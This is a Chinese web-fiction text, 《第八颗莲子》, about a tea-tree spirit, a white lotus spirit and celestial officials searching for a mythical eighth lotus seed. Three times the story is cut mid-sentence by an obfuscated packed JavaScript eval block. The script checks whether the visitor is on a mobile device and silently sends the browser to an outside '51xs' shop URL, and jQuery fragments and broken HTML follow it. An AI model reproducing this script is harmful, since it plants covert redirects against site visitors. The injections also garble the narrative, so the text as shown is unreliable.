《第八颗莲子》
1. 流行穿越
“晋陶渊明独爱菊,自李唐来,世人甚爱牡丹,予独爱莲之出淤泥而不染,濯清涟而不妖……这诗句你听过吗?”小茶树精盘腿坐在池塘边上,一手堵着鼻子,一手摇着荷叶,问塘里唯一一株白莲。
那塘里荷叶铺天盖地,眼下正是盛花期,放眼望去都是红莲,只有一株白莲刚冒了一个花骨朵,亭亭玉立的,分外扎眼。这景致倒是极美,只是那满塘的秽臭,丝丝缕缕往鼻子里钻,就连莲花的清香也要压不住。
小茶树精问完,那玉白的花骨朵晃了晃,算是回答。
小茶树精又说:“在我们那个世界,有个叫周敦颐的,这是他写的爱莲说,老有名了,上过学的都会背!”
白莲并不知道谁是周敦颐,但这诗句的意思听着蛮好,出淤泥而不染,濯清涟而不妖,说的不就是她么?就是这满身的臭味有点煞风景。
白莲之所以结识小茶树精,是因为她刚从臭水沟里冒出头时,小茶树精就过来吟了句诗“小荷才露尖尖角”,她仔细一看,是个穿着碧绿裙子的小丫头,心想还是个风雅人,便跟她打招呼:“你好,你妈贵姓?”
那小茶树精吓一跳,没想到这臭水塘里,竟然还能长出来一株开了灵智的莲花,还是唯一的一株白莲花。她问她妈的姓,好远古的招呼梗,得远到母系氏族了吧?
小茶树精自报家门:“我叫碧云,喏,旁边那棵茶树就是我的真身。我刚到这儿,加个好友?”
白莲花朝她指的方向望去,确实有棵茶树,突兀地趴在灌木丛中,看着株苗挺健壮,不像新长出来的,便问她:“刚到这儿是什么意思,你是被移栽过来的?”她绝不认为这臭烘烘的地方适合种茶。
碧云小声说:“我是从公元1980年穿越来的!”想了想又补充:“南瞻部洲,在我们那叫地球,我是中国农科院50-70年代培育的杂交新茶种!”
白莲花有点懵。她后来慢慢消化了这个事情,小茶树精是从另外一个时空来的,来的是神识,随着一道闪电,落进了眼前这棵古茶树的壳子里。
她问小茶树精:“穿越这事非得有闪电吗?别的方式能穿吗?”
要是有便捷法门,白莲花倒是对这个臭烘烘的地方和臭烘烘的身体,不是特别执着。
碧云想了想说:“不太好讲,我们植物没听说过有谁跟我一样的,倒是我们那的人,现在流行穿越,魂穿、转世、重生、穿书、夺舍等等,还有穿来穿去的,叫快穿,男穿女、人穿兽,就挺热闹的。但我也没真见过,想来也许是有条件的,比如生死簿或者地书出了bug?毕竟自古至今生灵越来越多,但这俩玩意儿也从来没有扩容过。”
白莲觉得有道理,想想万一自己穿到一株狗尿苔或者屎壳郎身上……还是现在心情好一点。
加了好友后,白莲了解到碧云长在这种秽气的地方,纯属偶然,属于自然衍化的机缘,而她开在这里就属于人祸了,只是不知道算哪道因果。
白莲记得她是被一道臭气熏醒的。她不知道怎么就到了这个地方,只有个记忆是看到一个青衫少年,将最后一颗莲子扔到这烂泥潭里,之后翩然离去,背影挺潇洒。
她是后来从从碧云那里,补上了这事的前半段。
一年多前,这地界闹过一场瘟疫,不算严重但也死了一些人畜,尸体在这里被挖坑焚烧后填埋,随后断断续续连下了一个月的大雨,遇到山洪,这里被冲出一条大沟,等洪水退了,低洼处就存了一谭水,一年来竟也没干,但是奇臭。
小茶树精碧云就是在期间一次暴雨中,随着雷电穿越过来的。那雷电似乎是为了劈一只成了精的山狸,山狸左逃又蹿,最后是一株茶树应了劫。
碧云醒来时,刺鼻的焦味和腥臭味令她作呕,她缓了缓神儿,很快就发现了不对劲。她那个时代是不许成精的,但她居然有了意识?再一看,这哪是她自己的身体,整个植株都是黑的,还少了半拉脑袋。周围的环境也不对,没有碧油油的茶山,那旁边是一池臭水黑泥,正是腥臭的源头。
她不可置信地意识到,她这是穿越了,且穿过来的这具本体,半死不活。
碧云想破罐子破摔,想着死了算了,死了说不定就能开始新的一世。但她窝在那半焦的茶树干里半日后,忽然又意识到了一个重要问题:植物不属于有情众生,不在六道,没□□回!
她只能强打起精神,用自己本就不多的修为,为这株茶树修补精气,磕磕绊绊折腾了许久,来年开春,这茶树长竟长出了新芽!她这才松了口气。
但这个环境,就真的难以接受了。她只好盼着修为再高点,这个灵体再强大点,能离本体再远点,找个山清水秀的地方还是办得到的。
这地方几无人至,有天却突然来了个青衫少年,一身的风流气韵,却背了个灰扑扑的褡裢,十分不协调。碧云见他将那袋子打开,从里面抓出来一把莲子,随手一洒,投进了臭泥潭里,紧跟着又抓出第二把,最后干脆抓着袋底一甩,半袋子的莲子尽数洒了出去,他又弯腰拾起掉在地上的一枚,修长的手指捏着它打量了一下,一扬,最后一颗莲子也投进了臭水潭里。
碧云目睹全程,不懂他为啥要往这种秽气的地方种莲,再看他的表情,竟也有几分遗憾,她就更看不懂了。但他眉眼是真好看,梦里天人也不过如此吧?
那之后不久,这满池的莲花竟开始发芽了。碧云闲来无事,就捏着鼻子到池塘边溜达,看看哪个显眼包今天又冒了尖儿。
有天她正溜达着,突然听到一声鹤唳,声音清脆悠远,穿透力十足,一听就知绝非凡鸟。紧跟着便感觉一道瑞气腾腾的霞光飘了过来,碧云怕莽撞了,吓得赶紧钻回树干,静观其变。
不多时,果见到虚空中飘下来一位长须老头,骑着一只仙鹤,他一撩佛尘,从仙鹤身上跃下来,行动倒是极利索,但紧跟着就捏起了鼻子,说道:“真臭!净坛使者家的五谷轮回之所也不过如此!”
碧云见那仙鹤也扑棱着翅把整个脑袋都遮住了。
当时白莲还没有露头,但那臭潭里已经有不少显眼包钻了出来,碧云听到那长须老头碎碎念:“都是些凡品,入不了我启明殿!”
启明殿?碧云努力回想在哪听过,想来想去想起来了,她那个时代里,培育茶种的老专家爱听评书,那书里讲过,启明殿里住着的是太白金星。
原来这个老头就是李长庚啊,他怎么会到这么个臭地方来?
李长庚走来走去,大概是真没看到想找的东西,垂头丧气地回到仙鹤身边,刚要拍拍那鹤的翅膀起飞,冷不丁瞧见了那灌木丛中竟然有颗茶树。
他十分意外:“你这小东西怎么生到这里了?长得倒还不错,我来一趟也不好空手而归,你就贡献些叶子吧,待我制了茶,若是味
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727688|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道不错,兴许便是你的一番造化哩!”
小茶树精谨小慎微地任他采撷,她看着这老头把嫩尖都给掐了,心疼不已,可又不敢吱声,一直到看着他驾鹤西游走远了,这才重重叹了口气,伤感自己好不容易养出来的枝丫,就这么没了。
那之后过了差不多一个月,李长庚又来了,乐呵呵地直奔茶树。碧云瞧他这副高兴模样,八成是有好消息。果然李长庚说:“你还真是造化!那毛峰喝着不错,连玉帝都喜欢,说出自我启明星之手,便赐名''明星绿茶‘!你长在这我采茶也不方便,不如移栽到我启明殿的小茶园去吧,也算得了个仙道!”
这可把碧云给乐坏了,原来成仙竟这么容易啊!
她钻出来跪下就拜,不无激动地说:“我早前听说那些山精树怪要想成仙,又是积德又是行善,还得拜师,修习个五百一千年的还要遭雷劈、火烧、风吹,怎么我这一下就成仙了吗?”
李长庚一撩佛尘,笑眯眯说:“所以说是你的造化呀!他们那种是成仙的标准流程,你这个吗,就算属于天庭特批了!”
原来如此,碧云想成仙竟也有这许多门道,看来这跟她那个时代的某些进阶路径也差不多嘛,撞对了运气的就叫做造化,否则你就得一步一个脚印,一点点的往顶上爬,还不一定能爬的上去。
李长庚把茶树连根带土的都挖了出来,念了个诀,将它收进了袖中,但想了想又掏了出来,又变了个乾坤袋出来,将它放了进去,挂在了仙鹤的翅膀上。
那仙鹤极不情愿地看了眼主人,正瞧见他扯着袖子在闻,之后皱着鼻子拿拂尘掸了掸衣服,这才跨坐到它身上,拍拍它的翅膀说:“行了,赶快走吧!”
碧云乐呵呵地在启明殿的茶园里当起了神仙……当起了明星绿茶,但这好日子却坚持了不足一月,就出现了问题。李长庚发现再采撷的新叶制成的茶,不如第一次制的茶好喝。他说,每次制茶的流程、器皿、火候等等都是一分不差,但成茶的味道却一次不如一次,越来越寡淡!
碧云也很恼躁,她一直很努力地养精蓄锐长,最好的叶子,为什么就出不来第一次的味道呢?它可是明星绿茶呢,这么下去,岂不是仙途不保?
最后冒着诋毁仙府的罪名,她小心翼翼提醒李长庚:“李仙师啊,有没有可能……就猜测啊……你说有没有可能是土壤的问题?”
李长庚老眼圆睁:“难道我这仙府沃土,还不比你那臭泥潭么?”
碧云吓得不敢吱声了。
良久之后,李长庚冷静下来,似自言自语般道:“橘生淮南则为橘,生于淮北则为枳,凡间的东西,可能是命贱,配不得我这仙府沃土吧。”
碧云:“……”
于是乎,碧云又被李长庚移栽回了臭水潭边上,之后的茶叶质量果然又恢复如初了,泡汤后鲜浓、醇厚、回味甘甜!
也因此,碧云要永远留在臭潭便掩鼻度日,好消息是李长庚没有取消她的仙籍,他每个月来她这里采一次茶叶,临走总会安慰她说:“你是个走了捷径的,在这里就当是在苦修吧。”
可此时的碧云,心境已不似最初一般平静和淡泊,果然是由奢入俭难,体验过好生活,这恶劣境地真是一分钟都待不下去!
但待不下去也得待,幸好后来这臭水塘里又出了个开灵智的白莲花,碧云才又觉得,这日子又有了些意趣。
2. 白莲化形
一日天空雷云密布,碧云瞅着这架势,和那日积雷劈山狸的苗头有点像,她是一朝被蛇咬,十年怕井绳,一边提心吊胆地害怕再劈到她身上,一边又琢磨着这次又是哪个精灵鬼怪在历劫。
她提心吊胆地等啊等,那雷一直憋着,憋呀憋的最后竟没了影儿,只换了一场豪雨倾盆而下!碧云心里一颗石头终于落了地,后怕之余,她琢磨着下回金星老头再来时,得找他讨个避雷罩啥的。
云开雨霁之后,天空竟出了一道大大的彩虹,霞光熠熠,瑞气腾腾。同时碧云罕见地闻到了塘里的荷香,沁人心脾,似乎这里不是什么臭水沟,而是西王母的瑶池胜境!
她恍恍惚惚地从茶树里钻出来,忍不住感叹:“今天这是咋了,一场雨把所有秽气都涮掉了!”
正说着,就见那唯一一株白莲花在微风中晃了晃,一道清丽的身影缓缓现了出来,轻盈盈站在了满池碧绿的荷叶上。
碧云觉得是自己眼花了,她揉了揉眼睛再看,那清丽的身影正拈了片花瓣一扬,一袭白衣罩在了她原本赤裸的身上,香风拂过,飘逸离尘。
碧云看傻了!
直到一道轻灵甜美的声音响起:“碧云!是我呀,不认识啦?”
碧云脸上浮现出惊喜,她这好友终于也能出来跟她作伴了,这可比每天对着多莲花唠嗑有趣得多。她朝她招招手:“你快过来让我看看,可真好看呀!”
碧云觉得这白莲无论从样貌、身姿还是神韵,是她见过最美的没有之一。她在启明殿里也待了些时日,那天上的侍女也好,公主也罢,没有一个能比的过眼前这株白莲的。
那白莲花袅袅婷婷走过来,任碧云拉着她左看右看,阵阵清香钻进鼻息,碧云一边看一边感慨:“你这出世的兆头还真不一般,豪雨洗尘,霞光熠熠,瑞气腾腾,搞得香气扑鼻的,比我们那个时代的除臭剂还厉害!”
白莲花娇笑一声:“可能就是你说的造化吧。”
可不是造化吗,原以为是要遭雷劈,没想到是给她洗尘的。
高兴过后,碧玉惊讶的发现,塘里那株白莲花没了,眼前这小花精,她不是神识出窍,它是直接化形!这意味着什么?意味着她可以想去哪儿就去哪儿!只有她碧云茶树,不得不留在这里。
想到这里碧云又悲从中来,脸上不免就带出了颜色。
白莲见她突然伤感,便说:“有什么不开心的,说出来也许能开心点?”
碧云直白地问她:“你会走吗?会离开这里吗?我知道这不是个好地方,可要是你走了,这里就只剩下我了。”
有那么一瞬间,白莲的确生出过要离开的想法,毕竟在臭泥潭里憋屈的每一天,这都是一个在脑子里萦绕不去的念头。但看碧云这么伤感,她又不忍心了,便说:“你在的一天,我便不走。”
听到这话,碧玉激动地抱住了她,心想这才是她相依为命的好闺蜜呀!但随即又想起她在启明殿那一个月,倒是把这白莲花孤零零的留在了这里,想想也不是很地道。不过那也不是她的主观意愿,她做不得主。她又补充说:“上回我被李仙师带走了,不得已独留你在这里,要是再有这种情况,我一定要带你一起,你不去我也不去。”
说完又觉得这种话,不免有点像马后炮的茶言茶语,所以碧云又举起指头说:“我发誓。”
白莲笑了,倒是不甚介意。
碧云其实想过,白莲可以带着她去一个山清水秀的地方,茶园或者茶山也行。要是在遇到李长庚之前,她一定会这么拜托她,白莲一定会答应,但是现在碧云有点舍不得她顶着的仙籍。这精怪神仙都一样,没有的时候反倒洒脱,有了就生执念,终究还是堪不破啊,但是谁又能轻易勘破呢,人鬼仙妖,哪个没所求?
但她也不能长久得拿这个困住白莲,她想好了,再见李长庚,除了避雷罩之外,得再问问他有没有修行的速成之法,好歹能帮她修个元神出窍,离开这宿主茶树本体,白莲还没有仙籍,帮她修点傍身本事也是好的。她贡献了自己的精华供天庭的老爷们品茗,换点法器和经验值应该不过分吧。
碧云想完这些,愧疚感少了点,问白莲:“白莲也不算个名字,你有名字吗?”
白莲摇摇头,碧云说:“叫芙瑶吧,每个都是好字。”
白莲觉得这名字起得略随意了些,但芙瑶听起来也还算上口,笑着答应。
次日太白金星来采茶,敏锐地发觉了这地方的不对劲。原本的臭气几不可闻,取而代之的是满池清香。他唤出碧云问她:“你这儿发生了啥,臭味没了,你这茶还好吗?”
原来他担心的是这个,明星绿茶已经成为了给玉帝的贡品,什么都不能影响茶叶的质量。
碧云想了想,实话实话:“昨日天有异象,我原以为是又有什么妖怪精灵在渡劫,没想到是这池子里一株白莲花化形了,喏,就是她,芙瑶!”
她一指池里那株白莲,那白莲抖了一下,听碧云又说:“那之后,臭味就没了,特别香!”她想着多美言几句,显得白莲叶非凡物,说不定也能撞上什么机缘,混个仙籍什么的。
李长庚望着那株白莲,老眼眯了眯,以少见的深邃目光打量它。玉白的花瓣,娇娇嫩嫩,亭亭玉立,之前竟没留意它,确实不像凡品。他挥了挥拂尘,召她过来。
芙瑶现了身形,轻灵灵落在了他跟前,双目秋水盈波,好一副娇媚模样!
李长庚打了个激灵,随即又意识到,她见了他竟然不拜!这跟小茶树精太不一样了,他记得碧云从茶树里钻出来俯身便拜,眼前这只小花妖,也不知道是懵懂还是无礼,就只笑眯眯站着,似乎是等他先开口。
他清了清嗓子,摆出一副庄严法相问她:“你认识我吗?”
“你是太白金星。”她连声音也很好听。
李长庚捋着胡须快速盘算着,他身上背着一项秘密任务,就与莲子有关。
传说混沌之初先有株青莲,这青莲结子七颗,成熟后散落三界,其一落在了不周山,化为了创世青莲;其二落在了西方八德池,化为了功德金莲;其三落入冥河血海,化为了业火红莲;其四坠入黑暗之渊,化为了灭世黑莲;其五落进三千落水,化为了净世白莲;其六坠地,化为了造化蓝莲;最后一颗深植地府,化为了轮回紫莲。
但忽然有一天,他被昊天帝召唤,老爷子神神秘秘地给他布置了一桩任务,让他悄咪咪寻找第八颗莲子!他一瞬间脑子有点懵,三界都知道莲子只有七颗,哪里来的第八颗?
可是他这主子,一口咬定有,还信誓旦旦说,他连这第八颗莲子的名字都想好了,到时候就栽进瑶池,叫“盛世X莲”,这个X根据这莲子开出花的颜色定,他要让三界看看,在他的统御下,三界一派清明盛世!
李长庚觉得,要是这样一讲,这第八颗莲子就一定有,没有也得有!
这事说好办也好办,说难办也难办,好办是因为目标明确,作为玉帝的私人秘书兼采办,最怕的就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727689|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老板需求不明,一个连自己要什么都不清楚的老板,可太难伺候了,好在他这个主子并不是。难办是因为他要的这颗莲子,不知道在哪,不知道啥样,甚至不知道究竟有没有。但这个不重要,重要的是得讲好一个盛世清明的大故事!
好在老板给了他足够的时间,他说:“长庚啊,这事重要,但是不急,你是天庭元老了,这事交给你办,我放心!”
李长庚领了这个令,慎重思量了一下,然后去找了主管天医院的许天师,托词说玉帝近来神思不属,想吃莲子羹,但膳房的莲子都太过普通,得想想办法寻些新鲜的来,最好是背景特殊、年份越久越好。
李长庚倒也不怕许天师去请脉,神思不属这症状本来就是可有可无,谁还没点心事?反正玉帝也是天天瞎琢磨。他也不怕许天师当面核实,这么憨的天师也进不了秘书部。
果然他从天医院出来没多久,许天师就来找他,说是跟葛天师商量了一下,那天机星化身为一个叫袁天罡的道士,正在下届游历。袁天罡刚领了个圣旨,李氏的帝王想要长生不老,命他寻一颗长生莲种在龙脉上,结子之后服用便可得长生。两位帝王都想吃莲子这事,可以一并让袁天罡办了,到时候自然是天上先选,剩下的给李氏就行。
李长庚觉得这主意行,多个帮手名正言顺地干活,省得他自己在陷在一大堆俗务中分身乏术。他请许天师约一下天机星,他要当面嘱咐几句。
那之后过了仨月,袁天罡果然背了一褡裢莲子来找他,说是元神遍历八荒六合四大部洲才寻来的,每一颗都有说法。李长庚自然没工夫听他一颗一颗讲,随手抓了一颗问:“这颗有什么讲究?”
袁天罡说:“这颗叫做益子莲。帝王都想开枝散叶,香火永济,这颗益子莲正合此意……”
李长庚摇了摇头:“看来你还是没有领会精神。”
袁天罡不解:“李仙师您不是说要有点新鲜花样吗?寻常莲子只是补脾益气、养心安神,这颗能多生孩子还不是新花样吗?”
李长庚说:“你没领会重点,重点是‘年份久’!”
袁天罡问:“要多久?一百年、一千年?”
李长庚一缕长须说:“天机星你格局要打开,你想想那功德金莲、业火红莲、轮回紫莲,都是多久远的了,区区千百年的莲子,算什么?”
袁天罡心里呼啸过一万匹草泥马,心想这不是耍人玩么?但面上还得耐着性子说:“李仙师是跟我开玩笑吧,我从哪儿去找那种开天辟地才有的灵根?”
李长庚觉得这就是差距,他初接这种任务时,虽然心里也这么想的,但就不像他这么浮躁。他耐着性子解释:“你只需要去找,要年份久、品相好、灵性强的,至于它有什么功效,不用管。”
袁天罡似懂非懂,但这几个条件他记住了。他拎起那兜莲子想走,又被李长庚叫住了。他看着这位李仙师,从兜里抓出来一把莲子,随意扯了块帕子一包,递给他说:“这些你拿去,剩下的我另有用处。”
袁天罡见他瞧不上他找的莲子,又扣下了大部分不给,心里骂了句真黑,却听李长庚说:“天机星你不要小气,你我都是为上面办事,你有你的路数,我有我的章法,咱们就尽人事听天命就好。”
没办法,谁叫这李老头虽然品阶不高,但能直达天听呢。袁天罡只能说了声“明白”,然后揣着那一小包莲子落寞地离开了。
那之后又过了一年,袁天罡又带了一褡裢莲子上门了。
3. 莲子掉包
李长庚觉得找莲子这事,单靠天机星一个帮手不行,得有一些惯常在三界行走的闲散野士,悄悄帮他干,他在过往的私人采办业务中,结识了不少三教九流,这一年来,他们供上来的莲子已经攒了好几大筐!
因为并没有确实证据这第八颗莲子一定有,所以找莲子这事,他也并不急,只全力找就是。什么时候需要有个结果,全看老板态度,若是问得勤了,说明这故事就该加快进度了,但自从他接了这活一年了,玉帝就问过一次,说明这事火候还早。
但看着那几筐莲子,他觉得还得挑挑看,品相差的象征性煮几回莲子羹,极上品的也可以在他府上的小池塘里种种看,外人看不出门道,但老板知道他没闲着就行。
所以袁天罡背着那一褡裢莲子进府时,他刚好坐在大殿门口挑莲子。打眼望见袁天罡进门,便欢快地招呼道:“天机星来啦,快请进快请进!”
袁天罡挪了个蒲团在李长庚对面坐下,把褡裢放到一旁,瞧见李长庚一旁摆了四五个筐,每个里面满满当当都是莲子,瞅着都不是普货。以李长庚为圆心,外围摆了一圈篮子,里面是一圈盘子,每个篮子和盘子里都装了些莲子,个头、形状、颜色各异,分门别类放着。想不到他已搜罗了这么多!
天机星他只是信息量不足,可不是傻,看着这一堆莲子,李长庚要再说是为了做羹,他就打算当场撂挑子。他隶属于斗部,跟上清天医院和启明殿都不沾边,不过就是化身个道士下界助几朝气运,找莲子这事就是搭把手而已。他不动声色地问道:“李仙师这是?”
李长庚说:“这真是年年养生,岁岁不同啊,今年流行莲补!天医院依据天干五行印了指导意见,今年上半年阳火旺,下半年阴水盛,心属火,肾属水,滋阴降火、交通心肾,莲子最佳!所以今年各路仙府供了些各色莲子,我挑挑看,供上面进补。”
袁天罡听着古怪,但是天医院的批文都发了,这事就不能质疑。可找莲子这事他是不想干了,便说:“我在下界任务圆满,接了斗部回归的调令,以后怕不便外出行走了。这是此前我收集来的莲子,仙师你看看可能用?”说着便将那一褡裢莲子递了过来。
李长庚猜到了他的心思,倒也不介意,笑呵呵接过来说:“这回的莲子可有什么讲究?”
袁天罡说:“都是万年以上的!”他说着扒拉出来两颗,指着其中一颗说:“这是年份最长的一颗,得有三万年了,考古挖出来的!三万年啊李仙师,我那南瞻部洲的人类文明都生灭好几轮了!”
李长庚说:“不错,那这另一颗有什么特别?”
袁天罡说:“这一颗,不知是死是活,倘若是活的,年份可能更久!”
李长庚听了捏起那枚莲子,左看右看,又对着他大殿顶上照明的那颗硕大的南海明珠看了看,确实断不出这莲子是死是活,它看上去竟不像真的莲子,倒像是白玉雕的!李长庚看了眼袁天罡说:“这颗看不清肉质,天机星怕不是拿了什么匠人的东西诓我吧?”
这话就有点侮辱仙品了。
袁天罡压着愠意说:“李仙师也觉得它不像真的吧?已经玉化了,可看起来又十分鲜活,所以才说,倘若是活的,倒是年份最久、最不寻常的一颗!”
袁天罡此次寻莲是用了心的,也是因为用心更显得这活干得不易,是以李长庚从袖中摸出一只小玉瓶说:“天机星你用心了,我已秉明玉帝,这次寻莲你是有大辛劳的,玉帝特赐下三清丸一颗,助你提升修为,早升金仙!”
天界好东西太多,可三清丸是什么东西,袁天罡并不知晓。瞧着他一脸懵,李长庚解释道:“这是上清天医院新制的灵丹,用的是极品的莲子、蟾宫的丹桂以及北俱芦洲的冰兰,所以叫做三清丸,由地皇亲自炼制,服上一颗,神清气爽,修为至少提升一成!”
地皇出品那必属精品,只是李长庚一向巧言,这东西是不是真能提升一成修为,那也得吃了才知道。可他提到了北俱芦洲的冰兰,这让袁天罡大感意外,他此前只是听过,这花只长在一个地方,幽园,那是一个叫做玄御的洪荒圣者,以灵力幻化出的府邸,这兰花自然也承了玄御的几分修为,灵性得很。
他问李长庚:“天医院怎么会有冰兰花?”
李长庚笑道:“说来话长,这花是三圣皇那个小弟子苍容,跟鱼鲮岛那个小混世魔王元修打赌,元修输给他的!”
“鱼鲮岛啊……”袁天罡觉得那是个传说中的地方,顶级仙谱上的陆压道君的风水宝地。这位道君跳出三界外,不在无形中,其诞生据说比道祖鸿钧还要早一些。但他的不靠谱也是被传出了名的,只是因为洪荒太过久远,能举出来的例子已经无可考了,只是这个认知倒是传下来了。
但元修是谁,天机星他却从没听过。他又问:“元修跟陆压道君的关系是?”
李长庚说:“他称陆压道君为师公,似乎跟北俱芦洲的玄御也有什么渊源,所以他输了之后,苍容找他要冰兰,他倒是给了,但陆压道君是个不吃亏的性子,据说他是道君带大的,所以我总觉得这事还没完。但苍容耿直,怕是没想这么多。”
他说完又觉得不妥,笑着找补:“私下闲聊,天机星听听就好,哈哈。”
李长庚八卦,天机星可没这么闲,他将那颗三清丸揣进怀里,道了谢,称还有公务不便再叨扰,出了启明殿才觉得身上轻松了许多。
李长庚继续挑挑拣拣,把一些顶级的药用莲子挑了一兜,打算给三圣皇送过去,顺便再找地皇神农看看,那颗玉化莲子有没有什么玄机。
只不过他去的不巧,小童说地皇还在丹房,至少要五个时辰才能出来,他想了想便托小童将那兜药用莲子转交,称这一兜是孝敬,另有一颗莲子也想请地皇方便了看看,晚些十分他再来请教。
因莲子也不是什么贵重之物,各路神仙孝敬也是常有的事,所以小童便将那兜莲子以及单独那颗,用个玉盘盛了,一并放在了地皇丹房外的药龛上,交给了值守的苍容,说等地皇忙完,太白金星会再来请教。
苍容一眼就看到了那颗玉化的莲子,捏在手里看了又看,觉得不大寻常,可又看不透底细,正琢磨着,忽听一道慵懒的声音传来:“什么好东西,看得这么入迷?”
苍容最近比较头疼这个声音。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727690|144985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>元修这家伙神出鬼没,行事毫无章法全凭喜好,就很无赖。但偏偏修为又高,地位也高,靠山还厉害,他自从赢了他一次后,他就像狗皮膏药一样黏上了他!先是他新祭炼的法宝五行玄光镜莫名丢失,数日后元修称捡到又还了回来,但元修走后,地皇的麒麟兽又莫名消失了。
苍容现在有点后悔为什么要赢他,三位师傅教育他莫要争强好胜,他此刻已深有感悟,不怕贼偷就怕贼惦记,他弄得这些小麻烦,不伤人,但是气人!
苍容将手里的莲子直接放进盘里的兜子,瞧见他正迈进殿来。搁以往苍容大抵会呵斥,丹房重地岂能擅闯之类,但自从跟这家伙往来几次后,他觉得说什么都白搭,索性就一言不发瞪着他。
元修眯着一双好看的凤眸,语气颇堪玩味:“你这么一眨不眨地望着我,我会误会你的性取向哦。”他说完也不理会苍容是怨是怒,径自往他刚才放东西的托盘走去,瞧见敞开的兜子里竟是莲子,啧啧两声道:“怎么地皇还在炼三清丸么?我就给了你一支冰兰,你们炼这么多,天医院的药品是有多水?”
“天医院的药有口皆碑,不劳你操心!”要不是他出言诋毁天医院,苍容连一个字都不想跟他说。
元修倒也不恼,笑嘻嘻道:“你每回见我都显得心烦气躁,你这么修行可不行,三圣皇难道没教你,灭却心头火,方可成正果?”
“你到底干什么来了?”苍容懒得跟他废话。
元修从袖中摸出一卷纸,打开说道:“这是你们卫生部颁发的《关于修仙证道健康饮食的指导意见》,里面提到今年倡导莲补,各路仙家忙着采莲,我来是想讨个便宜,我瞅着你这兜莲子就不错,可否送我?”
“不行!”苍容回答得斩钉截铁,“这兜是太白金星送与我师父的,另有他用,你要莲子,哪里不能讨上一筐,非要来我这里捣乱!”
“不给?”元修也不急,笑着问。
“不给!”苍容态度十分坚决。
“那好吧,我去别家看看。”他说着作势要走,临出门像突然想起什么说道:“差点忘了正事,我来是想告诉你,地皇那匹麒麟兽好像与谁厮斗伤得奄奄一息,我给送回兽舍了,你们得赶紧治,晚了怕就没了!”
苍容心里咯噔一下,地皇最得意的麒麟兽失踪后他们苦寻无果,怎么一有消息竟奄奄一息?
他急急地想去兽舍看看,冲进院子才想起来药龛上还放着一兜莲子,是有太白金星嘱托的东西,又折回身去拿,路过元修身边时,厉声说了句:“麒麟兽这事最好不是你捣的鬼,否则没完!”说完便朝兽舍跑去。
“怎么还恩将仇报呢?”元修在后面漫不经心地打趣,待到苍容的身影走远了,他才摊开手掌,掌心赫然是那兜被他掉包的莲子。
他望着这兜莲子摇头笑道:“谁会信你们的莲补啊,天医院惯会故弄玄虚,可惜了这兜莲子。”
他拎着这兜莲子翩然而去,越是不给他的东西,他越是有兴趣。
而等到太白金星来寻地皇,请教那颗莲子玄机的时候,苍容才察觉,哪里有什么莲子,那兜子里装的,竟是一对碎砂砾。
4. 风光得很
苍容被元修戏耍丢了启明殿的东西,在李长庚眼前,地皇怒气冲冲,扬言要重罚,但话说得机巧:“既知那元修是个无赖,竟还如此大意!那麒麟兽虽亟需救治,但也不至于立时断气,你此番闯祸,必须严加教训方知轻重缓急和机断行事!”
李长庚听着,这是把错都推到元修头上了。他丢了那颗玉化的莲子,有点闹心,但闹得也不是很厉害,毕竟那莲子是死是活也没个定数。为了这不知所谓的莲子,由着地皇罚了他最心爱的小弟子——还是因为救他的坐骑,就有点不合适,所以他笑道:“地皇莫急,一颗莲子也不是什么大事,倒是苍容这份维护天医院和恩师的拳拳之心难得,且饶了他吧!”
有李长庚求情,地皇下了台阶:“既然太白金星求情,那这次错就先给你记下,若再犯两罪并罚!”
李长庚从地皇那出来,背了一大兜各色仙药,算是对他的补偿。
他其实没太把被元修盗走的那兜莲子当回事,但是苍容却没打算就这么算了。他屡遭戏弄,听说元修正在太上老君府做客,又去约“战”了一回,俩人约了局棋,苍容破天荒地输给了元修。他输得倒也玄妙,做足了棋逢对手僵持许久,终于还是技低一丢丢丢的样子。输棋后苍容脸涨得通红,满脸怒气,隐忍不发,直看得胜利者脸上得意之余生出不忍。
元修说:“看你这样子,不就是输棋嘛,我输的时候也没有这么大反应。那要不然,我补偿你点什么?”
苍容心想,你输棋的反应还不大呀,再大火云宫都要让你搅翻天了!面上却仍旧气鼓鼓地不忘揶揄他:“我虽然输了棋,棋品还是好的,补偿就不必的,我就问你一句话,你实话实话就行!”
元修到不介意,笑呵呵说:“你问。”
“我丹房那兜莲子,是不是你掉包的?”
“是我,不过已经丢了。”
苍容又在心里将他骂了一遍,又问:“丢哪里去了?”
元修想了想说:“记得不太准,那日随意溜达,走到个风水宝地,就那么一洒……如果不死,可能也发芽了,怎么你还要找回来吗?”他想着那里臭烘烘的泥潭,又补充道:“入药可能不太行了。”
